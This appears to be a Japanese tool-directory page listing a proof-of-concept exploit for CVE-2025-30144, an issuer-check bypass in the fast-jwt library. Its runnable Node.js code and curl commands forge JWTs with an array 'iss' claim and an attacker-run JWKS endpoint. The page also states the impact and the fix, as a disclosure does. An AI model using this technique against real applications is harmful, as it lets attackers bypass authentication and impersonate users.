Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-30144 — CVE-2025-30144の概念実証:fast-jwtライブラリのJWT発行者検証バイパスにより、攻撃者が配列ベースのissクレームを持つトークンを偽造できるようにします。 | Kitploit
ツール/GitHubGitHub/tibrn/cve-2025-30144
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証APIセキュリティ
GitHubtibrn/cve-2025-30144

CVE-2025-30144

CVE-2025-30144の概念実証:fast-jwtライブラリのJWT発行者検証バイパスにより、攻撃者が配列ベースのissクレームを持つトークンを偽造できるようにします。

リポジトリを見る
41年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概要

fast-jwt ライブラリは、RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 に基づく iss クレームの検証を適切に行いません。

詳細

fast-jwt ライブラリ内の iss(発行者)クレーム検証は、文字列の配列を有効な iss 値として許可します。この設計上の欠陥により、悪意のある攻撃者が ['https://attacker-domain/', 'https://valid-iss'] のような構造の iss クレームを持つ JWT を作成する、潜在的な攻撃が可能になります。寛容な検証のため、その JWT は有効とみなされます。

さらに、アプリケーションが get-jwks のような iss クレームを独立して検証しない外部ライブラリに依存している場合、攻撃者はこの脆弱性を悪用して、被害者アプリケーションに受け入れられる JWT を偽造できます。基本的に、攻撃者は自身のドメインを正当な発行者と一緒に iss 配列に挿入し、意図されたセキュリティチェックを回避できます。

PoC

次のコードを実行しているサーバーを用意します。

root@kitploit:~
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

次に、JWT トークンを生成し、検証キーを被害者サーバーに送信するために使用されるサーバーを構築します。

root@kitploit:~
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
root@kitploit:~
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

影響

fast-jwt による iss クレームの検証に依存しているアプリケーションでは、攻撃者が任意のペイロードに署名し、検証者に受け入れさせることが可能になります。

解決策

https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 を、RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9 に記載されているとおり、値として文字列のみを受け付けるバリデータに変更してください。

ツールをダウンロード